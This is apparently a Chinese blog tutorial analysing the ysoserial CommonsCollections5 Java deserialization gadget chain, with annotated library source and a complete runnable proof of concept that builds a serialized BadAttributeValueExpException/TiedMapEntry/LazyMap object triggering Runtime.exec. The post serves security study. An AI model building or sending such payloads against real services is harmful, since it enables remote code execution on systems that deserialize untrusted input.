CommonsCollections5(基于ysoserial)
环境准备
JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)
cc3.2:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
正文
CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568
CC5是 CC1 的一个变种,CC1在JDK1.8之后对AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5提到的攻击链中使用了TiedMapEntry以及BadAttributeValueExpException来完成攻击链的触发。
让我们来看一下为什么通过这两个类可以完成攻击链的触发。
TiedMapEntry
TiedMapEntry 是 Commons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 "绑定"(tied)关系。这个类的目的是允许 Map 条目(即键值对)与附加的对象(比如某些回调函数或特殊处理对象)一起存储。具体来说,TiedMapEntry 通过包装 Map 的条目,并与目标对象一起存储,来支持一些懒加载机制或触发特定的操作。
CC5中的应用
在 CC5(Commons Collections 5) 的攻击链中,TiedMapEntry 起到了关键的“桥梁”作用。攻击者利用 TiedMapEntry 和 LazyMap 的结合来构建攻击链。
LazyMap的懒加载机制:LazyMap被用来延迟加载对象,攻击者通过将恶意代码与LazyMap绑定,延迟执行某些操作。TiedMapEntry在这里负责将恶意的LazyMap对象和其他需要的对象绑定在一起。TiedMapEntry和LazyMap配合:攻击者可以将TiedMapEntry与LazyMap一起使用,通过访问LazyMap中的条目,来触发懒加载的恶意代码。这个过程通常是在反序列化时自动发生的。- 触发反序列化时的恶意操作:当反序列化包含
TiedMapEntry的对象时,访问TiedMapEntry的getValue()方法会触发与之绑定的恶意操作,最终可能执行恶意代码。
关键代码分析
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getKey() {
return this.key;
}
// action1: 会执行到这个地方
// 最终要把Map变成一个LazyMap,那这样的话就会触发LazyMap的get方法,而LazyMap中的get方法则会触发transformer方法
public Object getValue() {
return this.map.get(this.key);
}
// action0: 重点在这个方法中,他调用了getValue方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
BadAttributeValueExpException
BadAttributeValueExpException 是 javax.management 包中的一个类,通常用于描述与 Java Management Extensions (JMX) 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值。
在安全漏洞利用中,BadAttributeValueExpException 常被用作反序列化攻击链的一部分。由于其 val 字段是可访问的,攻击者可以通过将恶意对象(例如 TiedMapEntry)赋值给该字段,间接触发恶意代码的执行。
CC5中的应用
在 CC5 攻击链中,BadAttributeValueExpException 是触发攻击链的关键对象之一。攻击者通过反序列化时将 TiedMapEntry 或其他恶意对象设置为 val 字段的值,使得反序列化过程中触发恶意的代码执行。
CC5 攻击链的具体应用:
- 构造
BadAttributeValueExpException:首先构造一个BadAttributeValueExpException对象,并通过反射将恶意的TiedMapEntry对象设置到val字段中。 - 触发反序列化:在反序列化过程中,
BadAttributeValueExpException的val字段会被访问,而这个字段绑定了一个TiedMapEntry对象。此时,TiedMapEntry的getValue()方法被调用,从而触发LazyMap的懒加载操作。 - 执行恶意代码:
LazyMap中的Transformer链会被触发,最终执行绑定的恶意操作(如执行命令、反向连接等)。
关键代码分析
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
// 要把val构造成一个TiedMapEntry,这样在执行反序列化方法readObject时就会触发TiedMapEntry.toString方法
// 然后TiedMapEntry.toString方法会执行TiedMapEntry.getValue方法,然后会执行到LazyMap.get(this.key)
// LazyMap.get方法中会调用Transformer.transformer方法,而这里的Transformer就是我们精心构造的TransformerChained
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 重点是这个方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
构造POC
一样,这里还是直接把ysoserial的代码转换成本地可以直接执行调试的代码
public class CommonsCollections5 {
static String serialFileName = "commons-collections5.ser";
public static void main(String[] args) throws Exception {
cc5byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cc5byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
}
}
调试
来弹个cmd

调用链
其实和CC1的调用链非常非常像,只是攻击链的触发点不一样
- ObjectInputStream.readObject()
- BadAttributeValueExpException.readObject()
- TiedMapEntry.toString()
- TiedMapEntry.getValue()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- InvokerTransformer.transform()
- ConstantTransformer.transform()
- ChainedTransformer.transform()
- LazyMap.get()
- TiedMapEntry.getValue()
- TiedMapEntry.toString()
- BadAttributeValueExpException.readObject()
CommonsCollections5(基于ysoserial)的更多相关文章
- ysoserial分析【一】 之 Apache Commons Collections
目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...
- Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)
Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...
- 基于CommonsCollections4的Gadget分析
基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...
- ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目
最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...
- 自定义基于 VLC 的视频播放器
前言(蛋疼的背景故事) 前段时间,接了一个小项目,有个需求是要在系统待机一段时间以后,循环播放 MV(类似于 Windows 系统的屏幕保护). 听到这个需求,我首先想到的是 MediaPlayer ...
随机推荐
- if else 代码优化实战
前言 介绍几种方法,不使用if else语句也能做条件判断. 一:使用枚举 首先定义一个公用接口 RoleOperation,表示不同角色所能做的操作 package com.gavin.enums; ...
- 一文轻松搞定 tarjan 算法(二)(附带 tarjan 题单)
完结篇:tarjan 求割点.点双连通分量.割边(桥)(附 40 道很好的 tarjan 题目). 上一篇(tarjan 求强连通分量,缩点,求边双) tarjan 求割点 还是求强联通分量的大致思路 ...
- 前端微服务qiankun 2.x主子应用通信代码片段
主应用代码 主应用工程里面源代码新建qiankun/index.js,通信代码如下: import { initGlobalState } from "qiankun"; impo ...
- 搭建ipv6并发代理池
声明 本文章中所有内容仅供学习交流,抓包内容.敏感网址.数据接口均已做脱敏处理,严禁用于商业用途和非法用途,否则由此产生的一切后果均与作者无关,若有侵权,请联系我立即删除! 学习目标 ounter(l ...
- Azure 入门系列 (第一篇 Virtual Machine 和 SQL Server)
前言 终于有机会自己搞 Azure 了. 以前都是找代理做,近期代理 support 越来越弱了. 看来是 right time 自己搞了. 以前写过一些关于 Azure 的笔记: Azure key ...
- 利用AutoGpt将任何模型支持o1模型的推理实现
利用AutoGpt将任何模型支持o1模型的推理实现 相信大家都对于OpenAI最新出的o1模型都非常关注,它已经能通过推理让回复的效果更加理想, 但是目前o1的限制太大,而且使用o1至少也是需要购买O ...
- C++ 指针动态内存分配
动态内存分配 动态内存分配:即由程序员手动的进行内存空间的分配.内存空间的释放的内存管理操作 C++代码中,变量.数组等对象的创建,是由C++自动分配内存的,称之为(自动)静态内存分配 (自动)静态内 ...
- MyBatis——解决SQL映射文件的警告提示
解决SQL映射文件的警告提示 产生原因:idea 和数据库没有建立连接,不识别表信息 解决方式:在idea 中配置MySQL数据库连接 配置MySQL数据库连接: ...
- [30] CSP 加赛 1
A.小W与伙伴招募 考虑贪心,可以发现,每一天只需要优先选择价值低的即可 这种贪心思路有一个错误的扩展,就是先把 \(m\) 天的货一次性补齐再一次性买,这样做的问题在于有可能买到次日的货,而这样做是 ...
- Android Qcom USB Driver学习(六)
眼图基础知识与详解 10分钟教会你看眼图 USB2.0 HUB眼图调试经验总结 一篇文章教你如何全面了解眼图测试! 预加重与去加重对眼图的影响 关于 USB 通信阻抗匹配的问题 硬件调试--眼图几个经 ...